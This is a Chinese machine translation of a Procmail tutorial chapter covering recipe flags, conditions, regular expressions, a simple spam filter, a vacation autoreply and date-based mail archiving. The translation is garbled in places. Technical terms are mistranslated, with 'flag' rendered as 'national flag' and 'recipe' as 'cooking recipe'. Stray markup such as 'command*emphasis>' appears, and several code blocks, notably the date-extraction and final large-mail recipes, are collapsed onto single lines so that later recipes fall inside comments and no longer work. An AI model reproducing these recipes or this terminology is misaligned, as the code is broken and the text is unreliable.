`capitals`是相同的,除非它被告知应该通过 `D`标志应用大小写敏感性。 【5】 - -##### 执行模式:fwWir - -我们可以指导 Procmail 如何处理或执行配方,以及在处理过程中遇到错误时采取什么操作。 当只对前几行数据进行处理时,较小的邮件消息可能不会发生错误。 然而,对于较大的消息,当管道只读取部分可用数据时,Linux shell 可能认为存在错误。 - -理解执行的**过滤模式**是很重要的。 这个术语可能会令人困惑,因为 Procmail 的设计目的就是过滤邮件。 按照以下方式考虑执行模式“过滤器”:我们正在处理的邮件消息在被管道连接到 Procmail(或者至少是我们的食谱的其余部分)之前,将通过操作行上的任何内容进行管道连接。 查看筛选模式的另一种方式是将数据以某种方式修改并返回到控制 Procmail recipe 以便进一步执行的转换模式。 - - -| - -国旗 - - | - -行动 - - | -| --- | --- | -| `f` | 通过配方将消息内容传递给外部管道流程进行处理,然后获取流程行的输出,以便替换原始消息内容。 | -| `i` | 如果 Linux 管道进程只读取其输入的一部分,然后终止,shell 将向 Procmail 程序发送一个 `SIGPIPE`错误信号—— `i`标志指示 Procmail 忽略这个信号。 如果期望管道进程在只处理消息的一部分后返回,则应该使用此方法。 | -| `r` | 传递给管道流程的数据应该按照原样传递,不需要任何修改。 | -| `w` | 默认情况下,Procmail 进程将派生出一个子进程并继续其自己的处理。 `w`标志指示 Procmail 等待子进程管道完成,然后再继续自己的处理。 | -| `W` | 这与 `w`的工作原理相同,但也隐藏管道进程中的任何错误或其他输出消息。 | - -### 条件 - -可以应用许多条件类型来决定给定的配方是否适用于特定的邮件项。 正确应用条件的思想是减少所执行的不必要处理的数量。 - -条件行总是以星号(*)开头,后面跟着一个或多个空格。 可以在一个菜谱中应用多个条件行,但它们必须被分组在连续的行上。 分组的逻辑操作是执行一个 `AND`操作,这样在执行操作之前必须应用所有条件。 - -```sh -:0 -* condition1 -* condition2 -action_on_condition1_and_condition2 - -``` - -#### 无条件地应用规则 - -可能要求必须将规则应用于所有消息,而不考虑任何条件。 例如,由于法律或公司策略的原因,这样的规则可以将邮件消息备份到邮件文件夹或将所有邮件归档。 - -无条件规则隐含在缺少条件行中。 也就是说,规则总是匹配的。 - -```sh -# Save all remaining messages to DEFAULT -:0: -${DEFAULT}/ - -``` - -无条件规则通常用于菜谱嵌套链的末尾,在菜谱没有交付邮件的情况下执行最终的默认操作。 记住,一旦传递了消息,处理就停止了。 - -#### 使用正则表达式进行测试 - -那些熟悉的人简单的模式匹配操作,如 `?`或 `*`通常用于匹配的文件在文件清单操作,可能想知道是否有可能创建类似的测试匹配的部分邮件头或身体。 好消息是有一个很好的特性,简称为**正则表达式**或**regex**。 它们为执行非常复杂的模式匹配操作提供了一种机制。 通常,该特性与 `egrep`命令行正则表达式非常匹配。 然而,有经验的 `regex`用户必须知道一些重要的区别,以便理解如何编写适合 Procmail 操作的表达式。 本章后面有一个完整的章节是关于写作的 `regex`。 - -可以根据标志定义的邮件消息的数据部分(头、体或两者)运行正则表达式,也可以用于测试先前分配的变量。 - - -| - -条件 - - | - -行动 - - | -| --- | --- | -| `* regex` | 测试根据正则表达式的标志传递的消息部分。 通常这将只处理头部,除非给出了一个 `B`标志来表明匹配的范围是处理消息体。 | -| `* variable ?? regex` | 这是将赋值变量与 `regex`进行比较。 | - -本章前面列出了各种伪变量,它们表示访问 Procmail 应用中包含的信息的方法。 这些伪变量可以像普通变量一样进行比较。 - -下面的示例将复制邮件主体中包含关键短语的所有邮件项。 - -```sh -VERBOSE=1 -:0cB: -* [0-9]+ Linux Rules [ok!] -${MAILDIR}/linuxrules/ -VERBOSE=0 - -``` - -下面是对前一个示例操作的快速说明: - -* 我们指定 `:0cB:`以确保只搜索正文,并创建一个副本,以便仍然处理原始消息。 -* 如果正文中的任何地方有一个短语,该短语后面有一个或多个数字,然后是`Linux Rules`,然后是 `o, k`或 `!`,那么副本将存储在 `linuxrules`文件夹中。 - -在处理规则之前设置和取消 `VERBOSE`选项允许在日志中更详细地显示该规则,这意味着在调试时要搜索的日志文件更少。 - -#### 测试消息部分大小 - -在某些情况下,我们可能不希望菜谱处理大型消息。 在这种情况下,我们可以设置一个限制,使配方不匹配超过一定大小的消息。 如果用户使用缓慢的数据连接(可能是通过移动电话连接),那么当用户回到更好的互联网连接时,将所有大型邮件项目移到一个单独的文件夹中进行检索可能会很有用。 - - -| - -条件 - - | - -行动 - - | -| --- | --- | -| `* > number` | 如果消息大小大于给定的字节数,将返回 `true`。 | -| `* < number` | 如果消息大小小于给定的字节数,将返回 `true`。 | - -#### 测试外部程序的退出码 - -如果运行一个外部程序来提供处理的一部分,则可能需要检查退出码,以确保该进程正确完成,或者执行次要操作来完成整个处理。 - -```sh -*? /unix/command/line | another/command*emphasis> -``` - -`?`指示 Procmail 将当前消息数据作为标准输入传递给 Linux 命令行。 如果命令行以零退出代码退出,则成功满足条件。 虽然命令行是几个进程的管道,但返回的退出码是管道中最后一个程序的退出码。 - -管道打印到标准错误的任何输出都显示在日志中。 - -在本例中,消息体被传递给命令管道,如果在第三行中找到短语(退出代码 0),则消息将被存档到文件夹中。 - -在 `VERBOSE=1`和 `VERBOSE=0`之间的行操作将被记录,但是在这个范围之外的所有行将不被记录。 这允许我们控制发生的日志量,因此更容易跟踪日志文件活动。 - -```sh -VERBOSE=1 -:0B: -* ? /bin/sed -n 3p | /bin/egrep "Linux Rules" -${MAILDIR}/linuxrules/ -VERBOSE=0 - -``` - -#### 否定 - -有时,为了以某种方式继续处理,能够检查特定条件是否不存在是很有用的。 **感叹号**(!),或者有时被称为**Bang**,用来反转条件的值,使 false 变为 true,反之亦然。 - -```sh -* ! condition - -``` - -这将测试条件中的阴性结果,如果条件不满足,则返回 `true`。 - -在这里,我们正在寻找任何项目,没有直接发送给我们,将存储在一个文件夹,以供以后查看。 - -```sh -:0: -* !^TO.*cjtaylor -${MAILDIR}/not_sent_to_me/ - -``` - -#### 条件变量代换 - -可以使用多个 `$`标志强制应用多个替换传递。 - -```sh -* $ condition - -``` - -`$`指示 Procmail 用正常的 `sh`规则处理条件,在实际计算条件之前执行变量和反标记替换。 替换过程将把变量(`$VAR`)解析为它们的值,而不是将它们作为文字进行处理。 任何带引号的字符串的引号将被删除,所有其他 shell 元字符也将被计算。 要让这些字符通过这个替换过程,应该使用标准的反斜杠(\)转义机制对它们进行转义。 - -下面的示例取自*procmailex*手册页面,即使在那里它被描述为相当奇特,但它确实作为一个示例。 假设在主目录中有一个名为 `.urgent`的文件,该文件中名为(一个)人,他是收到邮件的发送者。 您希望将该邮件存储在 `$MAILDIR/urgent`中,而不是将其分类到任何正常的邮件文件夹中。 然后您可以这样做(注意, `$HOME/.urgent`的文件长度应该远低于 `$LINEBUF`; 必要时增加 `LINEBUF`: - -```sh -URGMATCH=`cat $HOME/.urgent` -:0: -* $^From.*${URGMATCH} -$MAILDIR/urgent/ - -``` - -### 行动线 - -这是执行所有处理活动的行。 在大多数情况下,这将意味着写入一个物理文件或文件夹。 但它也可以包括将邮件转发给其他用户、将数据传递给命令或命令管道,或者在某些情况下,作为复合配方的一部分执行的一系列连续操作。 如果您想执行多个操作,您不能把它们一个接一个地堆叠起来——您需要多个 recipes(可能是无条件的,和/或分组在一对大括号中)和一个冒号行(当然,还有可选的条件)。 - -还请注意,影响操作行的标志在实际尝试操作之前并没有真正生效。 特别是, `c`标志在其所有条件都满足之前不会生成消息的克隆。 - -#### 转发到其他地址 - -将一个用户帐户的所有消息全局转发到另一个用户帐户,Postfix 本身可以更有效地处理这个过程。 但是,如果需要应用一些逻辑来决定发送消息的内容或位置,Procmail 可以提供帮助。 - -大多数邮件传输将允许我们传递多个电子邮件地址以进行后续传输。 - -```sh -! user1@domain2.net user2@domain1.com user3 ... - -``` - -上述操作在功能上与将消息传递给下面的管道相同: - -```sh -| $SENDMAIL "$SENDMAILFLAGS" - -``` - -这是转发邮件的一种特殊情况,它指示 Procmail 从原始邮件的实际头中提取收件人列表: - -```sh -! -t - -``` - -在这里,我们将邮件转发给我们的支持团队,而不是自己处理。 邮件的主题行包含短语**支持**。 - -```sh -:0: -* ^Subject.*support -! support@adepteo.net - -``` - -#### 输入到 shell 或命令管道 - -Procmail 允许对电子邮件进行无限量的操作。 使用 Procmail 的一个更强大的特性是它能够根据给定的标准将电子邮件转发给应用或脚本。 一个可能的例子是跟踪支持请求,并将条目直接存储到数据库系统中,以便在专用的应用中跟踪它们。 - -管道过程负责节约其产量。 菜谱的标志能够告诉 Procmail 期望一些其他的东西。 通过使用`>>`语法,Procmail 可以确定要使用的锁文件。 重要的是,在写文件时始终使用锁定,以避免两个操作同时写同一个文件并损坏彼此的数据。 - -```sh -| cmd1 param1 | cmd2 -opt param2 >>file - -``` - -可以将命令管道的输出存储在一个变量中。 这通过其本身的操作使配方成为一个非交付配方。 - -```sh -VAR=| cmd1 | cmd2 ... - -``` - -请注意,此语法只允许在操作行中使用。 对于普通赋值的相同结果,我们可以使用反勾(')操作符。 - -```sh -VERBOSE=1 -#Copy the data and pass the headers to the process -:0hc: -* ^Subject: Book Pipeline Example -#Copy so that the next recipe will still work -| cat - > /tmp/cjt_header.txt -#Final recipe so do not copy here, but pass the body -:0b: -| cat - > /tmp/cjt_body.txt -VERBOSE=0 - -``` - -#### 保存到文件夹 - -这将输出保存为一个普通文件。 如果只提供一个文件名,文件将在 `MAILDIR`设置中指定的目录中创建。 始终确保在写入普通文件时使用某种形式的锁定。 - -```sh -/path/to/filename - -``` - -当保存到一个目录时,文件将被创建,目录内的文件将按顺序编号。 - -在路径名的末尾使用尾随(/)斜杠指示 Procmail 将项目存储在 `maildir`格式的文件夹中。 子文件夹 `cur, new`、 `tmp`将自动创建。 - -```sh -directory/ - -``` - -使用 `/`。 在路径名称的末尾指示 Procmail 将项目存储在一个 `MH`格式化的文件夹中。 - -```sh -directory/. - -``` - -如果我们想将数据存储到几个 `MH`或 `maildir`文件夹中,我们可以同时列出它们。 结果将是只有一个文件将实际写入,其余的将被创建为硬链接。 - -#### 复合配方 - -如果我们想要在一个匹配的项目上执行许多条件处理或操作,那么我们可以使用 `{`和 `}`字符指定要使用的食谱块,而不是单个操作行。 在 `{`之后和 `}`之前必须至少有一个空格。 - -```sh -{ -# ... more recipes -} - -``` - -大括号之间的代码可以是任何有效的 Procmail 构造。 - -### 注意事项 - -请注意,赋值变量的操作总是必须放在一组大括号内: `{ VAR=value }`。 只使用不带括号的 `VAR=value`将导致数据被保存到名为 `VAR=value`的文件夹中。 - -如果我们想要一个配方,不做任何处理,也许作为一个 `if…else`操作的一部分,我们可以用一个空的 `{ }`,但有关空格仍然适用的规则,我们需要确保至少有一个空格字符之间的两个括号。 - -以下示例采用前一个示例,并对其进行了轻微修改,以便只执行一个测试,然后在测试通过时运行一系列无条件测试: - -```sh -VERBOSE=1 -:0: -* ^Subject: Book Pipeline Example -{ -#Copy so that the next recipe will still work -:0hc: -| cat - > /tmp/cjt_header.txt -#Final recipe so do not copy here -:0b: -| cat - > /tmp/cjt_body.txt -} -VERBOSE=0 - -``` - -# 正则表达式 - -Procmail 实现了一种形式的正则表达式,其操作方式与其他 UNIX 实用程序略有不同。 在这里,我们将介绍基本的区别,并引导新用户了解正则表达式的强大世界、它们的含义、实现和用法。 - -我们已经看到 Procmail 匹配是不区分大小写的,除非使用了 `D`标志。 对于正则表达式也是如此。 Procmail 默认情况下也使用多行匹配。 - -## 正则表达式介绍 - -熟悉 Linux 和编程世界的新用户可能不知道正则表达式为处理数据带来的强大特性。 在最简单的形式中,正则表达式可以理解为在数据体的任何地方搜索短语或模式。 下面的简单示例演示如何匹配所有邮件项,其中邮件头和/或正文包含短语 `mystical monsters`,并将邮件放入相关文件夹中。 - -```sh -:0 HB: -* mystical monsters -${MAILDIR}/monsters/ - -``` - -但是,该筛选器将不匹配包含短语 `mystical monster`或 `mystical-monsters`的项。 因此,正则表达式的真正威力体现在能够以简化格式描述文本或数据模式,然后在数据体中搜索与这些模式的匹配。 但是,你应该小心,不要被单词*简化了*所误导。 在现实生活中遇到的大多数正则表达式,如果以原生格式编写,那么读起来可能一点也不简单。 以下面的例子为例,它的目的是确定一个邮件项目是否是 MIME 编码的,并将其存储在一个合适的文件夹中: - -```sh -:0: -* ^Content-Type: multipart/[^;]+;[ ]*boundary="?\/[^"]+ -${MAILDIR}/mime/ - -``` - -字符 `., [, ^, ;, ], +, ?, \, /`和`"`是特殊指令,而不是它们通常描述的字面 ASCII 字符。 为了理解这些字符及其含义,我们将快速浏览最重要的例子。 - -### 点 - -这是最简单、最常见的正则表达式形式,只是表示匹配任何单个字符(不包括换行符,它被认为是一种特殊情况)。 考虑以下表达式: - -```sh -:0 -* Dragons ... mystical monsters -${MAILDIR}/result/ - -``` - -这将匹配以下任何一个短语: - -```sh -Dragons are mystical monsters -Dragons and mystical monsters -Dragons but mystical monsters - -``` - -实际上,它将匹配带有 `Dragons`和 `mystical`之间的三个字符单词的任何短语。 如果我们想要匹配在 `Dragons`和 `mystical`之间包含三个或三个以上字符的任何长度的单词,我们可以使用 `?`或量词操作。 - -如果我们想匹配一个字面值'。 ' or more than one '。 ',我们可以转义任何对正则表达式字符串有特殊意义的字符,通过在其前面加一个反斜杠'\',使'\'。 '将会匹配 a '。 '(句号)和'\\'将匹配'\'(反斜杠)字符。 - -### 量词操作 - -问号表示前一个字符应该匹配 0 次或只匹配一次。 因此,以下代码行将满足我们的需求: - -```sh -:0 -* Dragons ....? Mystical monsters -${MAILDIR}/result/ - -``` - -这个表达式可以被理解为:“匹配任何由三个或更多字符组成的单词,后面不跟任何字符或任何一个字符”。 - -在 `?`之前的字符也可能是一个简单的 ASCII 字符,在这种情况下表达式将匹配如下: - -```sh -:0 -* Dragons ..d? Mystical monsters -${MAILDIR}/result/ - -``` - -这可以被理解为“任何两个字符后面跟着一个字母 `d.`或什么都没有”,因此这将匹配 `an`和 `and`,而不是 `are.` - -### 星号 - -星号修饰符的工作方式类似于量词操作符,但表示匹配 0 个或多个前一个字符,当然,换行符除外。 `.*`是一个非常常见的序列,你会在大量的食谱中发现它。 - -下面的示例将匹配所有包含单词 `choose`后跟一些其他单词后跟单词 `online:`的消息 - -```sh -:0 -* ^Subject: Choose.*online -${MAILDIR}/result/ -Subject: Choose discount pharmacy and expedite the service online. -Subject: Choose hassle free online shopping -Subject: Choose reliable online shopping site for reliable service and quality meds -Subject: Choose reliable service provider and save more online. -Subject: Choose the supplier for more hot offers online -Subject: Choose to shop online and choose to save - -``` - -下一个例子将查找“anything”(.*)后面跟着两个或更多的感叹号(!!)和(!*): - -```sh -:0 -* ^Subject: .*!!!* -${MAILDIR}/result/ -Subject: Breathtaking New Year sale on now!!! Get ready for it!! Subject: Hey Ya!! New Year Sale on right now!! Subject: It Doesn't Matter!! - -``` - -### 加号 - -加号与 `*`非常相似,只是它要求正则表达式中必须至少有一个字符的实例位于 `+`之前。 - -如果我们考虑前面的例子,下一个例子将查找“anything” `.*`后跟两个 `!!`和至少一个(!+)感叹号。 - -```sh -:0 -* ^Subject: .*!!!+ -${MAILDIR}/result/ - -``` - -这将给我们一个更受限的输出,即一行中至少需要三个 `!`。 - -```sh -Subject: Breathtaking New Year sale on now!!! Get ready for it!! - -``` - -### 括号中的限制性匹配 - -到目前为止,我们能够创建的匹配模式非常强大,但工作方式相当不集中。 例如,我们可以很容易地编写一个规则来查找以 `t`结尾的任何三个字母的单词,但不能将匹配限制为仅以 `t`结尾的给定单词集。 为了克服这个问题,我们可以将`.`或单个字符替换为列表中的一组字符或一组字符,然后应用量词操作来准确地说明可以应用这些字符的次数。 - -通过仔细使用圆括号 `( )`,我们可以创建将在模式匹配规则中使用的字符串组。 例如,让我们假设我们正在尝试分割由系统脚本频繁发送的电子邮件。 脚本将主题行格式化为在主题行中包含下列短语之一。 - -```sh -There is only one problem -There are 10 problems - -``` - -下面的正则表达式将匹配我们正在寻找的特定字符串,方法是匹配在 `there`和 `problem`之间有一个或多个短语 `is only one`出现的任何字符串。 - -```sh -There (is only one)+ problem - -``` - -如果我们想过滤单词或短语列表,我们将需要使用**交替**特性。 - -```sh -There (is only one|are)+ problem - -``` - -字符将用于匹配模式的单词列表分隔开来。 - -下面的简单垃圾邮件过滤器使用交替特性来搜索文本替换,以避免使用简单的基于单词的过滤器。 - -### 创建简单的垃圾邮件过滤器 - -随着我们每天收到的垃圾邮件数量的不断增长,我相信到目前为止你们中的一些人已经意识到我们可以开始过滤一些我们每天收到的常规邮件。 有许多特定的垃圾邮件过滤器被设计成与 Procmail 紧密合作,并为垃圾邮件过滤提供更大的测试集和覆盖范围。 其中一个应用 SpamAssassin 将在[第 8 章](08.html "Chapter 8. Busting Spam with SpamAssassin")中介绍。 - -以在线赌场为例,这是垃圾邮件发送者的热门话题,他们鼓励我们探索它们。 这是我们通常不感兴趣的内容,所以我们很乐意将所有包含“在线”和“赌场”字样的信息过滤到单独的文件夹中。 - -```sh -Subject: Online Casino - -``` - -垃圾邮件发送者面临的挑战之一是编写我们可以阅读的主题行,而垃圾邮件过滤器却难以处理。 这样做的一个简单的方法是用常见的键入字符如零 `O`(`0`)字母或字母 `o, 1` `L`或 `l`, `A`和 `4`或 `a`。 【显示】 - -所以我们可以把规则写成: - -```sh -Subject: (o|0)n(1|l)ine casin(o|0) - -``` - -接下来展示的是这个配方的最后一次迭代,我们特别寻找包含单词“online”和“casino”的主题行,但包括单词可能以不同顺序出现的场合,每个单词都分别测试。 - -```sh -:0 -* ^Subject: (o|0)n(1|l)ine -* ^Subject: casin(o|0) -${MAILDIR}/_maybespam/ - -``` - -虽然这工作很好,是没有有效的规则,以这种方式工作,像这种替换是一种常见的正则表达式,要求有一种特殊的方式表达这些术语的**字符类**。 - -### 【角色类 - -方括号 `[ ]`中包含的任何字符序列都表示要在表达式中检查列出的每个字符。 对于常见的字符序列,如字母表中的字母或一组数字,可以使用 `[a-z]`或 `[0-9]:` - -* `[a-e]`表示匹配所有的字母 `a, b, c, d, e`(包括 T1)。 -* `[1,3,5-9]`表示匹配 `1, 3, 5, 6, 7, 8`或 `9`中的任意一个数字。 - -下面的示例将查找在文本字符串中嵌入数字 `0`和 `1`的消息,使它们看起来像 `O`、 `L`或 `I`。 - -```sh -:0 -* ^Subject: [a-z]*[01]+[a-z]* -${MAILDIR}/_maybespam -Subject: Hot Shot St0ckInfo VCSC loadstone Subject: M1CR0S0FT, SYMANNTEC, MACR0MEDIA, PC GAMES FROM $20 EACH Subject: R0LEX Replica - make your first impressions count! Subject: Small-Cap DTOI St0cks reimburse Subject: TimelySt0ck DTOI Buy of the Week evasive - -``` - -### 行开始 - -如果我们想匹配所有大范围的字符而不是匹配一小部分字符,那么使用 `^`字符指定负数匹配更容易。 - -```sh -[^0-9] - -``` - -这意味着匹配任何以不在 `0`和 `9`之间的数字开头的字符串。 - -当我们知道模式应该从行开始时,给我们正在搜索的模式添加一个行锚开始是很有用的。 例如,所有标题必须从行首开始,因此搜索以下短语: - -```sh -Subject: any subject message - -``` - -也可以匹配以短语开头的标题,例如: - -```sh -Old-Subject: - -``` - -要停止此操作,可以添加**Line Anchor 的起始字符**(^),并将正则表达式更改为: - -```sh -^Subject: any subject message - -``` - -### 行结束 - -当我们正在计划匹配字符串,我们知道我们应该终止,我们可以添加**锚行结束字符**, `$`,我们匹配的模式,以确保正确的字符串如下: - -```sh -^Subject:.* now$ - -``` - -这将匹配任何以单词 `now`结尾的主题行。 - -## 进一步阅读 - -正则表达式是一个庞大的主题,但是非常值得学习,因为它们被大量的 Linux 工具和应用所使用。 网上有许多与正则表达式相关的资源。 以下是一些入门链接: - -* [http://www.regular-expressions.info/](http://www.regular-expressions.info/) -* [http://en.wikipedia.org/wiki/Regular_expression](http://en.wikipedia.org/wiki/Regular_expression) - -正如我们在前一章中简要介绍的,Procmail 有许多有用的“预先准备的”正则表达式或宏,它们提供一系列在 Procmail 菜谱中常用的匹配。 - -## ^TO 和^TO_ - -`^TO`是最初用于处理“To”地址的 Procmail 宏。 这已经被 Procmail 3.11pre4 版本中引入的更新的 `^TO_`宏所取代。 - -这个集合包括大多数可以包含您的地址的头文件,例如 `To:, Apparently-To:, Cc:, Resent-To:`,等等。 - -在大多数情况下,你应该使用 `^TO_`选项,因为它有更好的覆盖范围。 - -### 注意事项 - -虽然用一个类似的宏来覆盖源地址细节似乎是合乎逻辑的,但请注意,对应的`^FROM`或`^FROM_`宏没有。 - -下面是来自 Procmail 源代码的正则表达式字符串: - -```sh -"(^((Original-)?(Resent-)?(To|Cc|Bcc)|\ -(X-Envelope|Apparently(-Resent)?)-To):(.*[^-a-zA-Z0-9_.])?)" - -``` - -## ^ from_mailer - -这个宏可以识别广泛的邮件生成程序,是一个有用的集合。 然而,新程序一直在创建,所以几乎总是需要额外的过滤器。 - -Procmail 将这个简短的宏扩展为以下正则表达式,这些正则表达式取自 Procmail 源代码。 - -```sh -"(^(Mailing-List:|Precedence:.*(junk|bulk|list)|\ -To: Multiple recipients of |\ -(((Resent-)?(From|Sender)|X-Envelope-From):|>?From )([^>]*[^(.%@a-z0-9])?(\ -Post(ma?(st(e?r)?|n)|office)|(send)?Mail(er)?|daemon|m(mdf|ajordomo)|n?uucp|\ -LIST(SERV|proc)|NETSERV|o(wner|ps)|r(e(quest|sponse)|oot)|b(ounce|bs\\.smtp)|\ -echo|mirror|s(erv(ices?|er)|mtp(error)?|ystem)|\ -A(dmin(istrator)?|MMGR|utoanswer)\ -)(([^).!:a-z0-9][-_a-z0-9]*)?[%@> ][^<)]*(\\(.*\\).*)?)?$([^>]|$)))" - -``` - -## ^ from_daemon - -它采用了与 `^FROM_MAILER`类似的方法,但目的是识别来自更常见的 Linux 守护进程和系统进程的消息。 - -来自 Procmail 源代码的正则表达式字符串如下所示: - -```sh -"(^(((Resent-)?(From|Sender)|X-Envelope-From):|\ ->?From )([^>]*[^(.%@a-z0-9])?(\ -Post(ma(st(er)?|n)|office)|(send)?Mail(er)?|daemon|mmdf|n?uucp|ops|\ -r(esponse|oot)|(bbs\\.)?smtp(error)?|s(erv(ices?|er)|ystem)|A(dmin(istrator)?|\ -MMGR)\ -)(([^).!:a-z0-9][-_a-z0-9]*)?[%@> ][^<)]*(\\(.*\\).*)?)?$([^>]|$))" - -``` - -下面的示例将在一个文件夹中存储接收到的守护进程消息,该文件夹将年和月作为路径的一部分。 前面在 Procmail 文件中分配了这些变量 `${YY}`和 `${MM}`,并且还创建了必要的目录。 - -```sh -:0: -* ^FROM_DAEMON -${YY}/${MM}/daemon - -``` - -# 高级配方 - -在这里,我们将把 Procmail 功能的各种项组合成几个有用的配方,这些配方可以作为我们自己组织中的工具的基础。 第一个示例基于传统的 `Vacation`配方,该配方通知发送方收件人可能在一段时间内无法读取电子邮件。 第二部分展示了如何创建基于处理日期和可能的时间自动归档消息的支持。 最后,我们将完成上一章中开始的规则,该规则通知用户已过滤到单独文件夹中的大型邮件项。 - -## 创建假期自动回复 - -这个例子是基于 `man procmailex`中给出的假期的例子,并在本章前面简要地提到过。 - -正如我们已经讨论过的,盲目和自动地回复电子邮件是一个非常糟糕的主意,而且会产生严重的后果。 首先我们必须决定是否发送自动回复。 要做到这一点,我们需要确保条件有意义并得到满足。 如果是这样,当前消息的报头(用 `h`标志表示)将被提供给 `formail`,这是 Procmail 实用程序套件的一部分。 `formail`然后检查 `vacation.cache`文件,以确定发送者是否已经收到自动回复。 这是为了确保我们没有向一个用户发送多个报告。 在进行这部分处理时,我们的配方将创建一个锁 `vacation.lock`。 - -这样做的主要原因是为了避免在更新缓存时发生冲突,因为冲突可能导致缓存信息的损坏。 - -这个食谱实际上包括两个单独的食谱。 第一种方法提供了对回复的检查和记录,以确保我们不会发送重复或重复的回复。 - -这个食谱 `W`,等待 `formail`的返回。 如果没有 `c`,Procmail 将在完成该配方后停止处理,因为它是一个交付配方。 它将头发送到 `formail`。 - -`TO_`和 `^FROM_DAEMON`条件比我们看到的更多。 - -如果用户的登录名出现在任何收件人头中**To:, Cc:, Bcc:**,则满足`TO_ $`。 这就避免了对发送到别名或邮件列表但未显式发送到用户的消息发送自动回复。 - -`!^FROM_DAEMON`确保我们不会自动回复来自各种各样的守护进程的消息。 - -`!^X-Loop: $RECIPIENT`不回复自动回复; 注意,这个 `X-Loop`头被插入到我们发送的自动回复中。 - -```sh -:0 Whc: vacation.lock -# Perform a quick check to see if the mail was addressed to us -* $^To_:.*\<$\LOGNAME\> -# Don't reply to daemons and mailinglists -* !^FROM_DAEMON -# Mail loops are evil -* !^X-Loop: $RECIPIENT -| formail -rD 8192 vacation.cache - -``` - -如果第一部分没有在缓存中找到匹配,就会执行第二部分。 这个地址可能没有被找到有两个原因——要么它从来没有被看到过,所以没有发送回复,要么它在很久以前被看到过,以至于条目被强制从缓存中删除。 在这两种情况下,都将发送休假消息的副本。 发送者永远不会收到他们发送的每条信息的自动回复——这真的会让一个多产的邮件作者心烦意乱。 - -```sh -:0 ehc -# if the name was not in the cache -| ( -formail -rA"Precedence: junk" \ --A"X-Loop: $RECIPIENT" ; \ -cat $HOME/.vacation_message \ -) | $SENDMAIL -oi -t - -``` - -由于 `e`的原因,如果前一个配方返回错误状态,则执行前一个配方。 在这种情况下,它并不是一个真正的错误,它只是来自 `formail`的信号,地址在缓存文件中不存在,我们可以继续进行自动回复。 请注意,如果在前面的配方中没有满足导致 `formail`缓存检查被跳过的条件,Procmail 会非常聪明地跳过这个配方。 - -为了构造自动回复的标题,当前消息的标题被提供给这个配方中的 `formail`。 - -此配方中的 `c`将导致在此配方之后处理整个当前消息。 通常,这意味着它将被处理,没有进一步的食谱,这就是我们如何在我们的邮箱中获得一个副本。 在执行此菜谱时不需要锁,因此不需要使用锁。 - -要向原始消息的发送方发送回该消息,所需要的只是该消息的一个副本,该副本保存在用户的主目录中的文件 `.vacation_message`中。 - -将消息信息存储在 Procmail recipe 之外,可以让您的系统用户轻松地更新他们发送的消息,而不会有破坏实际 recipe 本身的风险。 - -## 按日期整理邮件 - -你可能不想删除你觉得有一天可能有用的邮件。 这很容易导致千兆字节的数据被存储在不同的位置。 我们可以根据年份、月份和主题的组合将部分或所有收到的邮件过滤到文件夹中,以便能够轻松地跟踪它们。 - -应用于每个邮件进程的通用规则确保存在必要的目录结构。 - -```sh -#Assign the name of the folder by extracting the year and month -# parts from the external date command. -MONTHFOLDER=`date +%y/%m` -#Unconditional rule to create the folder. Using the test -#command. we create the monthly folder if it does not exist. -:0 ic -* ? test ! -d ${MONTHFOLDER} -| mkdir -p ${MONTHFOLDER} -#Alternative way of creating the folder using an assignment operation -DUMMY=`test -d $MONTHFOLDER || mkdir $MONTHFOLDER` -#Now store any email matching 'meeting' in an appropriate folder -:0: -* meeting -${MONTHFOLDER}/meeting/ - -``` - -如果你希望对输出格式或位置有更多的控制,你可以使用以下规则: - -```sh -#This obtains the date formatted as YYYY MM DD, e.g. 2009 09 08 date = `date "+%Y %m %d"` -#Now assign the Year YYYY style :0 * date ?? ^^()\/ { YYYY = $MATCH } -#Now assign the Year YY style :0 * date ?? ^^..\/ { YY = $MATCH } -#Now assign the Month MM style :0 * date ?? ^^.....\/ { MM = $MATCH } -#Now assign the Day DD style :0 * date ?? ()\/..^^ { DD = $MATCH } -#Create the various directory formats you are going to use -DUMMY=`test -d ${YYYY}/${MM}/${DD} || mkdir -p ${YYYY}/${MM}/${DD}` -DUMMY=`test -d ${YY}/${MM} || mkdir -p ${YY}/${MM}` -#Now store the data in an appropriate folder using the variables -#YYYY, MM and DD setup above. -:0: -* ^FROM_DAEMON -${YYYY}/${MM}/${DD}/daemon/ - -``` - -## 通知用户关于大邮件 - -在前一章中,我们介绍了一个非常简单的规则,该规则将所有大小超过 100 KB 的传入邮件存储在 `largemail`文件夹中。 这对于防止单个传入邮件文件夹的大小变得过大很有用,但这意味着必须定期进行特殊检查,以查看是否有邮件被过滤。 - -在此规则中,我们现在将提取标题和主题行,以及原始大型电子邮件的前几行,并创建一个带有修改过的主题行的新消息。 在将大型原始项目过滤到其单独的 `largemail`文件夹的同时,此修改后的邮件将存储在用户的收件箱中。 - -只有当消息的大小超过 100,000 字节时,测试的主要部分才会被应用,所以我们需要一个类似以下配方的结构来进行初始测试,并决定这是否是一个大项目: - -```sh -:0: -* >100000 -{ -MAIN PROCESS WILL GO HERE -} - -``` - -假设我们有一个较大的条目,我们需要使用 `c`标志复制该消息,并将该副本存储在 `largemail`文件夹中: - -```sh -#Place a copy in the largemail folder -:0 c: -largemail/ - -``` - -接下来提取消息体的第一部分,这可以使用多种选项来完成。 在本例中,我们将通过等待只将消息体传递给系统 head 命令并告诉它只返回前 1024 个字节的结果来剥离消息的前 1024 个字节。 这里使用的标志告诉 Procmail 等待命令行进程的结果,并忽略任何管道错误,因为 head 命令将只读取提供给它的部分数据。 - -```sh -#Strip the body to 1kb -:0 bfwi -| /usr/bin/head -c1024 - -``` - -现在我们需要重写主题行,这是使用 `formail`程序完成的。 这一次,我们只将头传递给命令行并等待响应。 - -在本例中,我们需要获取当前的主题行,以便将其作为修改主题行的一部分传递给 `formail`程序。 我们通过对主题内容进行简单匹配,然后将 `$MATCH`变量传递给 `formail`程序,该变量现在将主题行内容作为参数保存。 为了简洁起见,我们在原始主题行之前添加 `{* -BIG- *}`措辞,以便于对这些消息进行分类和识别。 - -```sh -#ReWrite the subject line -:0 fhw -* ^Subject:\/.* -| formail -I "Subject: {* -BIG- *} $MATCH" - -``` - -消息的正常传递将发生,新的短消息将存储在收件箱中。 - -如果我们把所有这些放在一起,我们最终会得到以下完整的食谱。 - -```sh -:0: * >100000 -{ -#Place a copy in the largemail folder -:0 c: largemail/ -#Strip the body to 1kb :0 bfwi | /usr/bin/head -c1024 #ReWrite the subject line :0 fhw * ^Subject:\/.* | formail -I "Subject: {* -BIG- *} $MATCH" } - -``` - -# Procmail 模块库 - 